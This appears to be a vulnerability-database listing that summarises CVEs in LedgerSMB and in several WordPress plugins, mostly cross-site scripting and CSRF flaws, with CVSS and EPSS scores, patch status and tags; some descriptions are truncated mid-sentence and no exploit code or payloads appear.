LedgerSMB does not sufficiently guard against being wrapped by other sites, making it vulnerable to 'clickjacking'. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Debian Debian Linux +1
NVD
EPSS 2% CVSS 9.6
CRITICAL PATCH Act Now

LedgerSMB does not sufficiently HTML-encode error messages sent to the browser. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Information Disclosure +3
NVD GitHub
EPSS 3% CVSS 9.6
CRITICAL PATCH Act Now

LedgerSMB does not check the origin of HTML fragments merged into the browser's DOM. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Information Disclosure +3
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Erident Custom Login and Dashboard WordPress plugin before 3.5.9 did not properly sanitise its settings, allowing high privilege users to use XSS payloads in them (even when the unfileted_html is. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Simple Banner WordPress plugin before 2.10.4 does not sanitise and escape one of its settings, allowing high privilege users such as admin to use Cross-Site Scripting payload even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Simple Banner +2
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The HD Quiz WordPress plugin before 1.8.4 does not escape some of its Answers before outputting them in attribute when generating the Quiz, which could lead to Stored Cross-Site Scripting issues. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Hd Quiz +1
NVD WPScan
EPSS 1% CVSS 8.8
HIGH POC PATCH This Week

The Contact Form 7 Captcha WordPress plugin before 0.0.9 does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS CSRF +2
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WPFront Scroll Top WordPress plugin before 2.0.6.07225 does not sanitise or escape its Image ALT setting before outputting it attributes, leading to an Authenticated Stored Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Scroll Top +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP SMS WordPress plugin before 5.4.13 does not sanitise the "wp_group_name" parameter before outputting it back in the "Groups" page, leading to an Authenticated Stored Cross-Site Scripting issue. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Sms +2
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The pspin_duplicate_post_save_as_new_post function of the Project Status WordPress plugin through 1.6 does not sanitise, validate or escape the post GET parameter passed to it before outputting it in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Project Status
NVD WPScan
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